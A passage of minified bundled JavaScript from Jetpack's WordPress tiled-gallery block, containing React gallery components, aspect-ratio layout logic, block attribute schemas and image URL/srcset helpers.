__("image %1$d of %2$d in gallery","jetpack"),t+1,n.length);return(0,r.createElement)(c.Z,{alt:e.alt,"aria-label":s,height:e.height,id:e.id,origUrl:e.url,isSelected:o===t,key:t,link:e.link,linkTo:a,url:this.photonize(e),width:e.width})}render(){const{align:e,children:t,className:n,columns:a,images:o,layoutStyle:i}=this.props,s=m(i)?d.Z:u.Z,l=this.props.images.map(this.renderImage,this);return(0,r.createElement)("div",{className:n},(0,r.createElement)(s,{align:e,columns:a,images:o,layoutStyle:i,renderedImages:l}),t)}}function m(e){return["circle","square"].includes(e)}function h(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};const n={width:"w",height:"h",letterboxing:"lb",removeLetterboxing:"ulb"},r=Object.assign(new URL(e,window.location.href),{username:"",password:"",port:"",search:"",hash:""});for(const[e,a]of Object.entries(t))r.searchParams.set(n.hasOwnProperty(e)?n[e]:e,a);return r.toString()}},30791:function(e,t,n){"use strict";n.d(t,{Z:function(){return m}});var r=n(90017),a=n.n(r),o=n(51806),i=n(69307),s=n(6209),l=n(52235),c=n(89754),u=n(36472),d=n(6817),p=n(6648);class m extends i.Component{constructor(){super(...arguments),a()(this,"gallery",(0,i.createRef)()),a()(this,"pendingRaf",null),a()(this,"ro",null),a()(this,"handleGalleryResize",(e=>{this.pendingRaf&&(cancelAnimationFrame(this.pendingRaf),this.pendingRaf=null),this.pendingRaf=requestAnimationFrame((()=>{for(const{contentRect:t,target:n}of e){const{width:e}=t;(0,p.W)(n).forEach((t=>(0,p.i)(t,e)))}}))}))}componentDidMount(){this.observeResize()}componentWillUnmount(){this.unobserveResize()}componentDidUpdate(e){(e.images!==this.props.images||e.align!==this.props.align||"columns"===this.props.layoutStyle&&e.columns!==this.props.columns)&&this.triggerResize()}triggerResize(){this.gallery.current&&this.handleGalleryResize([{target:this.gallery.current,contentRect:{width:this.gallery.current.clientWidth}}])}observeResize(){this.triggerResize(),this.ro=new s.Z(this.handleGalleryResize),this.gallery.current&&this.ro.observe(this.gallery.current)}unobserveResize(){this.ro&&(this.ro.disconnect(),this.ro=null),this.pendingRaf&&(cancelAnimationFrame(this.pendingRaf),this.pendingRaf=null)}render(){const{align:e,columns:t,images:n,layoutStyle:r,renderedImages:a}=this.props,i=(0,d.h9)(n),s="columns"===r?(0,d.sv)(i,t):(0,d.T9)(i,{isWide:["full","wide"].includes(e)});let p=0;return(0,o.createElement)(c.Z,{galleryRef:this.gallery},s.map(((e,t)=>(0,o.createElement)(u.Z,{key:t},e.map(((e,t)=>{const n=a.slice(p,p+e);return p+=e,(0,o.createElement)(l.Z,{key:t},n)}))))))}}},6817:function(e,t,n){"use strict";n.d(t,{T9:function(){return S},h9:function(){return a},sv:function(){return i}});var r=n(92819);function a(e){return(0,r.map)(e,o)}function o(e){let{height:t,width:n}=e;return t&&n?n/t:1}function i(e,t){if(e.length<=t)return[Array(e.length).fill(1)];const n=(0,r.sum)(e)/t,a=[];let o=e,i=0;for(let e=0;e<t-1;e++){const t=(0,r.takeWhile)(o,(t=>{const r=i<=(e+1)*n;return r&&(i+=t),r})).length;a.push(t),o=(0,r.drop)(o,t)}return a.push(o.length),[a]}const s=j([2,1,2],5),l=x([P,P,L,P,P]),c=x([P,P,P,L,P,P,P]),u=j([3,1,3],5),d=x([L,P,P,L]),p=j([1,2,1],5),m=x([L,P,P,P]),h=j([1,3],3),f=x([P,P,P,L]),g=j([3,1],3),b=x([N(1.6),(0,r.overEvery)(T(.9),N(2)),(0,r.overEvery)(T(.9),N(2))]),v=j([1,2],3),k=j([1,1,1,1,1],1),y=j([1,1,1,1],1),E=j([1,1,1],3),w=x([(0,r.overEvery)(T(.9),N(2)),(0,r.overEvery)(T(.9),N(2)),N(1.6)]),_=j([2,1],3),C=x([function(e){return e>=2}]);function S(e){let{isWide:t}=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};const n=(e,a)=>{if(!a.length)return e;let o;o=a.length>15&&l(a)&&s(e)?[2,1,2]:a.length>15&&c(a)&&u(e)?[3,1,3]:5!==a.length&&d(a)&&p(e)?[1,2,1]:m(a)&&h(e)?[1,3]:f(a)&&g(e)?[3,1]:b(a)&&v(e)?[1,2]:t&&(5===a.length||10!==a.length&&a.length>6)&&k(e)&&(0,r.sum)((0,r.take)(a,5))<5?[1,1,1,1,1]:function(e,t){const n=(0,r.sum)((0,r.take)(t,4));return y(e)&&n<3.5&&t.length>5||n<7&&4===t.length}(e,a)?[1,1,1,1]:function(e,t,n){const a=(0,r.sum)((0,r.take)(t,3));return t.length>=3&&4!==t.length&&6!==t.length&&E(e)&&(a<2.5||a<5&&t.length>=3&&t[0]===t[2]||n)}(e,a,t)?[1,1,1]:w(a)&&_(e)?[2,1]:C(a)?[1]:a.length>3?[1,1]:Array(a.length).fill(1);const i=e.concat([o]),S=(0,r.sum)(o),j=a.slice(S);return n(i,j)};return n([],e)}function j(e,t){return n=>!(0,r.some)((0,r.takeRight)(n,t),(t=>(0,r.isEqual)(t,e)))}function x(e){return t=>t.length>=e.length&&(0,r.every)((0,r.zipWith)(e,t.slice(0,e.length),((e,t)=>e(t))))}function P(e){return e>=1&&e<2}function L(e){return e<1}function T(e){return t=>t>=e}function N(e){return t=>t<e}},6648:function(e,t,n){"use strict";n.d(t,{W:function(){return i},i:function(){return o}});var r=n(1377);function a(e,t){const n=(t-e.reduce(((e,t)=>e+t),0))/e.length;return e.map((e=>e+n))}function o(e,t){!function(e,t,n){let[o,i]=t;const d=1/o*(n-r.q3*(e.childElementCount-1)-i);!function(e,t){let{rawHeight:n,rowWidth:o}=t;const i=s(e),d=i.map((e=>(n-r.q3*(e.childElementCount-1))*c(e)[0])),p=a(d,o);i.forEach(((e,t)=>{const o=d[t],i=p[t];!function(e,t){let{colHeight:n,width:r,rawWidth:o}=t;const i=l(e).map((e=>o/u(e))),s=a(i,n);Array.from(e.children).forEach(((e,t)=>{const n=s[t];e.setAttribute("style",`height:${n}px;width:${r}px;`)}))}(e,{colHeight:n-r.q3*(e.childElementCount-1),width:i,rawWidth:o})}))}(e,{rawHeight:d,rowWidth:n-r.q3*(e.childElementCount-1)})}(e,function(e){const t=s(e).map(c).reduce(((e,t)=>{let[n,r]=e,[a,o]=t;return[n+a,r+o]}),[0,0]);return t}(e),t)}function i(e){return Array.from(e.querySelectorAll(".tiled-gallery__row"))}function s(e){return Array.from(e.querySelectorAll(".tiled-gallery__col"))}function l(e){return Array.from(e.querySelectorAll(".tiled-gallery__item > img, .tiled-gallery__item > a > img"))}function c(e){const t=l(e),n=t.length,r=1/t.map(u).reduce(((e,t)=>e+1/t),0);return[r,r*n||1]}function u(e){const t=parseInt(e.dataset.width,10),n=parseInt(e.dataset.height,10);return t&&!Number.isNaN(t)&&n&&!Number.isNaN(n)?t/n:1}},36472:function(e,t,n){"use strict";n.d(t,{Z:function(){return i}});var r=n(51806),a=n(65235),o=n.n(a);function i(e){let{children:t,className:n}=e;return(0,r.createElement)("div",{className:o()("tiled-gallery__row",n)},t)}},79313:function(e,t,n){"use strict";n.d(t,{Z:function(){return c}});var r=n(51806),a=n(92819),o=n(1377),i=n(52235),s=n(89754),l=n(36472);function c(e){let{columns:t,renderedImages:n}=e;const c=Math.min(o.hI,t),u=n.length%c;return(0,r.createElement)(s.Z,null,[...u?[(0,a.take)(n,u)]:[],...(0,a.chunk)((0,a.drop)(n,u),c)].map(((e,t)=>(0,r.createElement)(l.Z,{key:t,className:`columns-${e.length}`},e.map(((e,t)=>(0,r.createElement)(i.Z,{key:t},e)))))))}},91507:function(e,t,n){"use strict";n.d(t,{Z:function(){return l}});var r=n(51806),a=n(81518),o=n(1377),i=n(15645);function s(e){return Math.min(3,e.images.length)}function l(e){let{attributes:t}=e;const{images:n}=t;if(!n.length)return null;const{align:l,className:c,columns:u=s(t),linkTo:d}=t;return(0,r.createElement)(i.Z,{align:l,className:c,columns:u,images:n,layoutStyle:(0,a.t)(o.P0,c),linkTo:d})}},86738:function(e,t,n){"use strict";n.d(t,{EU:function(){return s},GP:function(){return o},P0:function(){return l},Z5:function(){return a},hI:function(){return r},xJ:function(){return i}});const r=20,a=20,o=2e3,i="circle",s="rectangular",l=[{isDefault:!0,name:s},{name:i},{name:"square"},{name:"columns"}]},64931:function(e,t,n){"use strict";n.d(t,{Z:function(){return s}});var r=n(51806),a=n(11313),o=n(65235),i=n.n(o);function s(e){const{alt:t,imageFilter:n,height:o,id:s,link:l,linkTo:c,origUrl:u,url:d,width:p}=e;if((0,a.isBlobURL)(u))return null;let m;switch(c){case"media":m=d;break;case"attachment":m=l}const h=(0,r.createElement)("img",{alt:t,"data-height":o,"data-id":s,"data-link":l,"data-url":u,"data-width":p,src:d});return(0,r.createElement)("figure",{className:i()("tiled-gallery__item",{[`filter__${n}`]:!!n})},m?(0,r.createElement)("a",{href:m},h):h)}},43125:function(e,t,n){"use strict";n.r(t),n.d(t,{attributes:function(){return o},save:function(){return a.Z},supports:function(){return i}});var r=n(86738),a=n(68405);const o={align:{default:"center",type:"string"},className:{default:`is-style-${r.EU}`,type:"string"},columns:{type:"number"},ids:{default:[],type:"array"},imageFilter:{type:"string"},images:{type:"array",default:[],source:"query",selector:".tiled-gallery__item",query:{alt:{attribute:"alt",default:"",selector:"img",source:"attribute"},height:{attribute:"data-height",selector:"img",source:"attribute",type:"number"},id:{attribute:"data-id",selector:"img",source:"attribute"},link:{attribute:"data-link",selector:"img",source:"attribute"},url:{attribute:"data-url",selector:"img",source:"attribute"},width:{attribute:"data-width",selector:"img",source:"attribute",type:"number"}}},linkTo:{default:"none",type:"string"},roundedCorners:{type:"integer",default:0}},i={align:["center","wide","full"],customClassName:!1,html:!1}},85407:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});var r=n(51806);function a(e){let{children:t}=e;return(0,r.createElement)("div",{className:"tiled-gallery__col"},t)}},40195:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});var r=n(51806);function a(e){let{children:t,galleryRef:n}=e;return(0,r.createElement)("div",{className:"tiled-gallery__gallery",ref:n},t)}},73208:function(e,t,n){"use strict";n.d(t,{Z:function(){return m}});var r=n(51806),a=n(69307),o=n(65736),i=n(65235),s=n.n(i),l=n(86738),c=n(64931),u=n(67091),d=n(84420),p=n(87178);const __=o.__;class m extends a.Component{renderImage(e,t){const{columns:n,imageFilter:a,images:i,linkTo:s,layoutStyle:l,selectedImage:d}=this.props,p=(0,o.sprintf)(/* translators: %1$d is the order number of the image, %2$d is the total number of images. */
__("image %1$d of %2$d in gallery","jetpack"),t+1,i.length),{src:m,srcSet:h}=(0,u.z)(e,{layoutStyle:l});return(0,r.createElement)(c.Z,{alt:e.alt,"aria-label":p,columns:n,height:e.height,id:e.id,imageFilter:a,isFirstItem:0===t,isLastItem:t+1===i.length,isSelected:d===t,key:t,link:e.link,linkTo:s,origUrl:e.url,showMovers:i.length>1,srcSet:h,url:m,width:e.width})}render(){const{align:e,children:t,className:n,columns:a,images:o,layoutStyle:i,roundedCorners:c}=this.props,m=(0,u.v)(i)?p.Z:d.Z,h=this.props.images.map(this.renderImage,this),f=i!==l.xJ?Math.min(c,l.Z5):0;return(0,r.createElement)("div",{className:s()(n,{[`has-rounded-corners-${f}`]:f>0})},(0,r.createElement)(m,{align:e,columns:a,images:o,layoutStyle:i,renderedImages:h}),t)}}},84420:function(e,t,n){"use strict";n.d(t,{Z:function(){return d}});var r=n(90017),a=n.n(r),o=n(51806),i=n(69307),s=n(85407),l=n(40195),c=n(56243),u=n(12126);class d extends i.Component{constructor(){super(...arguments),a()(this,"gallery",(0,i.createRef)()),a()(this,"pendingRaf",null)}render(){const{align:e,columns:t,images:n,layoutStyle:r,renderedImages:a}=this.props,i=(0,u.h9)(n),d="columns"===r?(0,u.sv)(i,t):(0,u.T9)(i,{isWide:["full","wide"].includes(e)});let p=0;return(0,o.createElement)(l.Z,{galleryRef:this.gallery},d.map(((e,t)=>(0,o.createElement)(c.Z,{key:t},e.map(((e,t)=>{const n=a.slice(p,p+e);return p+=e,(0,o.createElement)(s.Z,{key:t},n)}))))))}}},12126:function(e,t,n){"use strict";n.d(t,{T9:function(){return S},h9:function(){return a},sv:function(){return i}});var r=n(92819);function a(e){return(0,r.map)(e,o)}function o(e){let{height:t,width:n}=e;return t&&n?n/t:1}function i(e,t){if(e.length<=t)return[Array(e.length).fill(1)];const n=(0,r.sum)(e)/t,a=[];let o=e,i=0;for(let e=0;e<t-1;e++){const t=(0,r.takeWhile)(o,(t=>{const r=i<=(e+1)*n;return r&&(i+=t),r})).length;a.push(t),o=(0,r.drop)(o,t)}return a.push(o.length),[a]}const s=j([2,1,2],5),l=x([P,P,L,P,P]),c=x([P,P,P,L,P,P,P]),u=j([3,1,3],5),d=x([L,P,P,L]),p=j([1,2,1],5),m=x([L,P,P,P]),h=j([1,3],3),f=x([P,P,P,L]),g=j([3,1],3),b=x([N(1.6),(0,r.overEvery)(T(.9),N(2)),(0,r.overEvery)(T(.9),N(2))]),v=j([1,2],3),k=j([1,1,1,1,1],1),y=j([1,1,1,1],1),E=j([1,1,1],3),w=x([(0,r.overEvery)(T(.9),N(2)),(0,r.overEvery)(T(.9),N(2)),N(1.6)]),_=j([2,1],3),C=x([function(e){return e>=2}]);function S(e){let{isWide:t}=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};const n=(e,a)=>{if(!a.length)return e;let o;o=a.length>15&&l(a)&&s(e)?[2,1,2]:a.length>15&&c(a)&&u(e)?[3,1,3]:5!==a.length&&d(a)&&p(e)?[1,2,1]:m(a)&&h(e)?[1,3]:f(a)&&g(e)?[3,1]:b(a)&&v(e)?[1,2]:t&&(5===a.length||10!==a.length&&a.length>6)&&k(e)&&(0,r.sum)((0,r.take)(a,5))<5?[1,1,1,1,1]:function(e,t){const n=(0,r.sum)((0,r.take)(t,4));return y(e)&&n<3.5&&t.length>5||n<7&&4===t.length}(e,a)?[1,1,1,1]:function(e,t,n){const a=(0,r.sum)((0,r.take)(t,3));return t.length>=3&&4!==t.length&&6!==t.length&&E(e)&&(a<2.5||a<5&&t.length>=3&&t[0]===t[2]||n)}(e,a,t)?[1,1,1]:w(a)&&_(e)?[2,1]:C(a)?[1]:a.length>3?[1,1]:Array(a.length).fill(1);const i=e.concat([o]),S=(0,r.sum)(o),j=a.slice(S);return n(i,j)};return n([],e)}function j(e,t){return n=>!(0,r.some)((0,r.takeRight)(n,t),(t=>(0,r.isEqual)(t,e)))}function x(e){return t=>t.length>=e.length&&(0,r.every)((0,r.zipWith)(e,t.slice(0,e.length),((e,t)=>e(t))))}function P(e){return e>=1&&e<2}function L(e){return e<1}function T(e){return t=>t>=e}function N(e){return t=>t<e}},56243:function(e,t,n){"use strict";n.d(t,{Z:function(){return i}});var r=n(51806),a=n(65235),o=n.n(a);function i(e){let{children:t,className:n}=e;return(0,r.createElement)("div",{className:o()("tiled-gallery__row",n)},t)}},87178:function(e,t,n){"use strict";n.d(t,{Z:function(){return c}});var r=n(51806),a=n(92819),o=n(86738),i=n(85407),s=n(40195),l=n(56243);function c(e){let{columns:t,renderedImages:n}=e;const c=Math.min(o.hI,t),u=n.length%c;return(0,r.createElement)(s.Z,null,[...u?[(0,a.take)(n,u)]:[],...(0,a.chunk)((0,a.drop)(n,u),c)].map(((e,t)=>(0,r.createElement)(l.Z,{key:t,className:`columns-${e.length}`},e.map(((e,t)=>(0,r.createElement)(i.Z,{key:t},e)))))))}},68405:function(e,t,n){"use strict";n.d(t,{Z:function(){return l}});var r=n(51806),a=n(81518),o=n(86738),i=n(73208);function s(e){return Math.min(3,e.images.length)}function l(e){let{attributes:t}=e;const{imageFilter:n,images:l}=t;if(!l.length)return null;const{align:c,className:u,columns:d=s(t),linkTo:p,roundedCorners:m}=t;return(0,r.createElement)(i.Z,{align:c,className:u,columns:d,imageFilter:n,images:l,isSave:!0,layoutStyle:(0,a.t)(o.P0,u),linkTo:p,roundedCorners:m})}},67091:function(e,t,n){"use strict";n.d(t,{v:function(){return s},z:function(){return l}});var r=n(11313),a=n(92819),o=n(69424),i=n(86738);function s(e){return["circle","square"].includes(e)}function l(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if(!e.height||!e.url||!e.width)return{};if((0,r.isBlobURL)(e.url)||/^https?:\/\/localhost/.test(e.url)||/^https?:\/\/.*\.local\//.test(e.url))return{src:e.url};const n=e.url.split("?",1)[0],{height:l,width:u}=e,{layoutStyle:d}=t,p=function(e){const{host:t}=new URL(e,window.location.href);return/\.files\.wordpress\.com$/.test(t)}(n)||!0===function(){if("undefined"!=typeof jetpack_plan&&"vip"===jetpack_plan.data)return!0}()?c:o.Z;let m;if(s(d)&&u&&l){const e=Math.min(i.GP,u,l);m=p(n,{resize:`${e},${e}`})}else m=p(n);let h;if(s(d)){const e=Math.min(600,u,l),t=Math.min(i.GP,u,l);h=(0,a.range)(e,t,300).map((e=>{const t=p(n,{resize:`${e},${e}`,strip:"info"});return t?`${t} ${e}w`:null})).filter(Boolean).join(",")}else{const e=Math.min(600,u),t=Math.min(i.GP,u);h=(0,a.range)(e,t,300).map((e=>{const t=p(n,{strip:"info",width:e});return t?`${t} ${e}w`:null})).filter(Boolean).join(",")}return Object.assign({src:m},h&&{srcSet:h})}function c(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};const n={width:"w",height:"h",letterboxing:"lb",removeLetterboxing:"ulb"},r=Object.assign(new URL(e,window.location.href),{username:"",password:"",port:"",search:"",hash:""});for(const[e,a]of Object.entries(t))r.searchParams.set(n.hasOwnProperty(e)?n[e]:e,a);return r.toString()}},13993:function(e,t,n){"use strict";n.d(t,{EU:function(){return s},GP:function(){return o},P0:function(){return l},Z5:function(){return a},hI:function(){return r},xJ:function(){return i}});const r=20,a=20,o=2e3,i="circle",s="rectangular",l=[{isDefault:!0,name:s},{name:i},{name:"square"},{name:"columns"}]},21959:function(e,t,n){"use strict";n.d(t,{Z:function(){return s}});var r=n(51806),a=n(11313),o=n(65235),i=n.n(o);function s(e){const{alt:t,imageFilter:n,height:o,id:s,link:l,linkTo:c,origUrl:u,url:d,width:p}=e;if((0,a.isBlobURL)(u))return null;let m;switch(c){case"media":m=d;break;case"attachment":m=l}const h=(0,r.createElement)("img",{alt:t,"data-height":o,"data-id":s,"data-link":l,"data-url":u,"data-width":p,src:d});return(0,r.createElement)("figure",{className:i()("tiled-gallery__item",{[`filter__${n}`]:!!n})},m?(0,r.createElement)("a",{href:m},h):h)}},67525:function(e,t,n){"use strict";n.r(t),n.d(t,{attributes:function(){return o},migrate:function(){return s},save:function(){return a.Z},supports:function(){return i}});var r=n(13993),a=n(5826);const o={align:{default:"center",type:"string"},className:{default:`is-style-${r.EU}`,type:"string"},columns:{type:"number"},columnWidths:{default:[],type:"array"},ids:{default:[],type:"array"},imageFilter:{type:"string"},images:{type:"array",default:[],source:"query",selector:".tiled-gallery__item",query:{alt:{attribute:"alt",default:"",selector:"img",source:"attribute"},height:{attribute:"data-height",selector:"img",source:"attribute",type:"number"},id:{attribute:"data-id",selector:"img",source:"attribute"},link:{attribute:"data-link",selector:"img",source:"attribute"},url:{attribute:"data-url",selector:"img",source:"attribute"},width:{attribute:"data-width",selector:"img",source:"attribute",type:"number"}}},linkTo:{default:"none",type:"string"},roundedCorners:{type:"integer",default:0}},i={align:["center","wide","full"],customClassName:!1,html:!1},s=e=>{const t=Math.pow(10,5);return{...e,columnWidths:e.columnWidths.map((e=>e.map((e=>Math.round(e*t)/t))))}}},17410:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});var r=n(51806);function a(e){let{children:t,width:n}=e;const a=Math.pow(10,12),o=Math.round(n*a)/a,i=n?{flexBasis:`${o}%`}:void 0;return(0,r.createElement)("div",{className:"tiled-gallery__col",style:i},t)}},46349:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});var r=n(51806);function a(e){let{children:t,galleryRef:n}=e;return(0,r.createElement)("div",{className:"tiled-gallery__gallery",ref:n},t)}},178:function(e,t,n){"use strict";n.d(t,{Z:function(){return m}});var r=n(51806),a=n(69307),o=n(65736),i=n(65235),s=n.n(i),l=n(13993),c=n(21959),u=n(11197),d=n(47510),p=n(65662);const __=o.__;class m extends a.Component{renderImage(e,t){const{columns:n,imageFilter:a,images:i,isSave:s,linkTo:l,layoutStyle:d,onMoveBackward:p,onMoveForward:m,onRemoveImage:h,onSelectImage:f,selectedImage:g,setImageAttributes:b}=this.props,v=(0,o.sprintf)(/* translators: %1$d is the order number of the image, %2$d is the total number of images. */
__("image %1$d of %2$d in gallery","jetpack"),t+1,i.length),{src:k,srcSet:y}=(0,u.z)(e,{layoutStyle:d});return(0,r.createElement)(c.Z,{alt:e.alt,"aria-label":v,columns:n,height:e.height,id:e.id,imageFilter:a,isFirstItem:0===t,isLastItem:t+1===i.length,isSelected:g===t,key:t,link:e.link,linkTo:l,onMoveBackward:s?void 0:p(t),onMoveForward:s?void 0:m(t),onRemove:s?void 0:h(t),onSelect:s?void 0:f(t),origUrl:e.url,setAttributes:s?void 0:b(t),showMovers:i.length>1,srcSet:y,url:k,width:e.width})}render(){const{align:e,children:t,className:n,columns:a,images:o,layoutStyle:i,roundedCorners:c,onResize:m,isSave:h,columnWidths:f}=this.props,g=(0,u.v)(i)?p.Z:d.Z,b=this.props.images.map(this.renderImage,this),v=i!==l.xJ?Math.min(c,l.Z5):0;return(0,r.createElement)("div",{className:s()(n,{[`has-rounded-corners-${v}`]:v>0})},(0,r.createElement)(g,{align:e,columns:a,columnWidths:h?f:void 0,images:o,layoutStyle:i,renderedImages:b,onResize:h?void 0:m}),t)}}},47510:function(e,t,n){"use strict";n.d(t,{Z:function(){return d}});var r=n(90017),a=n.n(r),o=n(51806),i=n(69307),s=n(17410),l=n(46349),c=n(78922),u=n(3453);class d extends i.Component{constructor(){super(...arguments),a()(this,"gallery",(0,i.createRef)()),a()(this,"pendingRaf",null)}render(){const{align:e,columns:t,images:n,layoutStyle:r,renderedImages:a,columnWidths:i}=this.props,d=(0,u.h9)(n),p="columns"===r?(0,u.sv)(d,t):(0,u.T9)(d,{isWide:["full","wide"].includes(e)});let m=0;return(0,o.createElement)(l.Z,{galleryRef:this.gallery},p.map(((e,t)=>(0,o.createElement)(c.Z,{key:t},e.map(((e,n)=>{const r=a.slice(m,m+e);return m+=e,(0,o.createElement)(s.Z,{key:n,width:i?.[t]?.[n]},r)}))))))}}},3453:function(e,t,n){"use strict";n.d(t,{T9:function(){return S},h9:function(){return a},sv:function(){return i}});var r=n(92819);function a(e){return(0,r.map)(e,o)}function o(e){let{height:t,width:n}=e;return t&&n?n/t:1}function i(e,t){if(e.length<=t)return[Array(e.length).fill(1)];const n=(0,r.sum)(e)/t,a=[];let o=e,i=0;for(let e=0;e<t-1;e++){const t=(0,r.takeWhile)(o,(t=>{const r=i<=(e+1)*n;return r&&(i+=t),r})).length;a.push(t),o=(0,r.drop)(o,t)}return a.push(o.length),[a]}const s=j([2,1,2],5),l=x([P,P,L,P,P]),c=x([P,P,P,L,P,P,P]),u=j([3,1,3],5),d=x([L,P,P,L]),p=j([1,2,1],5),m=x([L,P,P,P]),h=j([1,3],3),f=x([P,P,P,L]),g=j([3,1],3),b=x([N(1.6),(0,r.overEvery)(T(.9),N(2)),(0,r.overEvery)(T(.9),N(2))]),v=j([1,2],3),k=j([1,1,1,1,1],1),y=j([1,1,1,1],1),E=j([1,1,1],3),w=x([(0,r.overEvery)(T(.9),N(2)),(0,r.overEvery)(T(.9),N(2)),N(1.6)]),_=j([2,1],3),C=x([function(e){return e>=2}]);function S(e){let{isWide:t}=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};const n=(e,a)=>{if(!a.length)return e;let o;o=a.length>15&&l(a)&&s(e)?[2,1,2]:a.length>15&&c(a)&&u(e)?[3,1,3]:5!==a.length&&d(a)&&p(e)?[1,2,1]:m(a)&&h(e)?[1,3]:f(a)&&g(e)?[3,1]:b(a)&&v(e)?[1,2]:t&&(5===a.length||10!==a.length&&a.length>6)&&k(e)&&(0,r.sum)((0,r.take)(a,5))<5?[1,1,1,1,1]:function(e,t){const n=(0,r.sum)((0,r.take)(t,4));return y(e)&&n<3.5&&t.length>5||n<7&&4===t.length}(e,a)?[1,1,1,1]:function(e,t,n){const a=(0,r.sum)((0,r.take)(t,3));return t.length>=3&&4!==t.length&&6!==t.length&&E(e)&&(a<2.5||a<5&&t.length>=3&&t[0]===t[2]||n)}(e,a,t)?[1,1,1]:w(a)&&_(e)?[2,1]:C(a)?[1]:a.length>3?[1,1]:Array(a.length).fill(1);const i=e.concat([o]),S=(0,r.sum)(o),j=a.slice(S);return n(i,j)};return n([],e)}function j(e,t){return n=>!(0,r.some)((0,r.takeRight)(n,t),(t=>(0,r.isEqual)(t,e)))}function x(e){return t=>t.length>=e.length&&(0,r.every)((0,r.zipWith)(e,t.slice(0,e.length),((e,t)=>e(t))))}function P(e){return e>=1&&e<2}function L(e){return e<1}function T(e){return t=>t>=e}function N(e){return t=>t<e}},78922:function(e,t,n){"use strict";n.d(t,{Z:function(){return i}});var r=n(51806),a=n(65235),o=n.n(a);function i(e){let{children:t,className:n}=e;return(0,r.createElement)("div",{className:o()("tiled-gallery__row",n)},t)}},65662:function(e,t,n){"use strict";n.d(t,{Z:function(){return c}});var r=n(51806),a=n(92819),o=n(13993),i=n(17410),s=n(46349),l=n(78922);function c(e){let{columns:t,renderedImages:n}=e;const c=Math.min(o.hI,t),u=n.length%c;return(0,r.createElement)(s.Z,null,[...u?[(0,a.take)(n,u)]:[],...(0,a.chunk)((0,a.drop)(n,u),c)].map(((e,t)=>(0,r.createElement)(l.Z,{key:t,className:`columns-${e.length}`},e.map(((e,t)=>(0,r.createElement)(i.Z,{key:t},e)))))))}},5826:function(e,t,n){"use strict";n.d(t,{Z:function(){return l}});var r=n(51806),a=n(81518),o=n(13993),i=n(178);function s(e){return Math.min(3,e.images.length)}function l(e){let{attributes:t}=e;const{imageFilter:n,images:l}=t;if(!l.length)return null;const{align:c,className:u,columns:d=s(t),linkTo:p,roundedCorners:m,columnWidths:h}=t;return(0,r.createElement)(i.Z,{align:c,className:u,columns:d,imageFilter:n,images:l,isSave:!0,layoutStyle:(0,a.t)(o.P0,u),linkTo:p,roundedCorners:m,columnWidths:h})}},11197:function(e,t,n){"use strict";n.d(t,{v:function(){return s},z:function(){return l}});var r=n(11313),a=n(92819),o=n(69424),i=n(13993);function s(e){return["circle","square"].includes(e)}function l(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if(!e.height||!e.url||!e.width)return{};if((0,r.isBlobURL)(e.url)||/^https?:\/\/localhost/.test(e.url)||/^https?:\/\/.*\.local\//.test(e.url))return{src:e.url};const n=e.url.split("?",1)[0],{height:l,width:u}=e,{layoutStyle:d}=t,p=function(e){const{host:t}=new URL(e,window.location.href);return/\.files\.wordpress\.com$/.test(t)}(n)||!0===function(){if("undefined"!=typeof jetpack_plan&&"vip"===jetpack_plan.data)return!0}()?c:o.Z;let m;if(s(d)&&u&&l){const e=Math.min(i.GP,u,l);m=p(n,{resize:`${e},${e}`})}else m=p(n);let h;if(s(d)){const e=Math.min(600,u,l),t=Math.min(i.GP,u,l);h=(0,a.range)(e,t,300).map((e=>{const t=p(n,{resize:`${e},${e}`,strip:"info"});return t?`${t} ${e}w`:null})).filter(Boolean).join(",")}else{const e=Math.min(600,u),t=Math.min(i.GP,u);h=(0,a.range)(e,t,300).map((e=>{const t=p(n,{strip:"info",width:e});return t?`${t} ${e}w`:null})).filter(Boolean).join(",")}return Object.assign({src:m},h&&{srcSet:h})}function c(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};const n={width:"w",height:"h",letterboxing:"lb",removeLetterboxing:"ulb"},r=Object.assign(new URL(e,window.location.href),{username:"",password:"",port:"",search:"",hash:""});for(const[e,a]of Object.entries(t))r.searchParams.set(n.hasOwnProperty(e)?n[e]:e,a);return r.toString()}},38698:function(e,t,n){"use strict";n.d(t,{EU:function(){return l},GP:function(){return i},P0:function(){return c},Z5:function(){return o},hI:function(){return a},q3:function(){return r},xJ:function(){return s}});const r=4,a=20,o=20,i=2e3,s="circle",l="rectangular",c=[{isDefault:!0,name:l},{name:s},{name:"square"},{name:"columns"}]},65597:function(e,t,n){"use strict";n.d(t,{Z:function(){return s}});var r=n(51806),a=n(11313),o=n(65235),i=n.n(o);function s(e){const{alt:t,imageFilter:n,height:o,id:s,link:l,linkTo:c,origUrl:u,url:d,width:p}=e;if((0,a.isBlobURL)(u))return null;let m;switch(c){case"media":m=d;break;case"attachment":m=l}const h=(0,r.createElement)("img",{alt:t,"data-height":o,"data-id":s,"data-link":l,"data-url":u,"data-width":p,src:d,"data-amp-layout":"responsive"});return(0,r.createElement)("figure",{className:i()("tiled-gallery__item",{[`filter__${n}`]:!!n})},m?(0,r.createElement)("a",{href:m},h):h)}},99504:function(e,t,n){"use strict";n.r(t),n.d(t,{attributes:function(){return o},save:function(){return a.Z},supports:function(){return i}});var r=n(38698),a=n(26225);const o={align:{default:"center",type:"string"},className:{default:`is-style-${r.EU}`,type:"string"},columns:{type:"number"},columnWidths:{default:[],type:"array"},ids:{default:[],type:"array"},imageFilter:{type:"string"},images:{type:"array",default:[],source:"query",selector:".tiled-gallery__item",query:{alt:{attribute:"alt",default:"",selector:"img",source:"attribute"},height:{attribute:"data-height",selector:"img",source:"attribute",type:"number"},id:{attribute:"data-id",selector:"img",source:"attribute"},link:{attribute:"data-link",selector:"img",source:"attribute"},url:{attribute:"data-url",selector:"img",source:"attribute"},width:{attribute:"data-width",selector:"img",source:"attribute",type:"number"}}},imageCrop:{type:"boolean",default:!0},linkTo:{default:"none",type:"string"},roundedCorners:{type:"integer",default:0}},i={align:["center","wide","full"],color:{gradients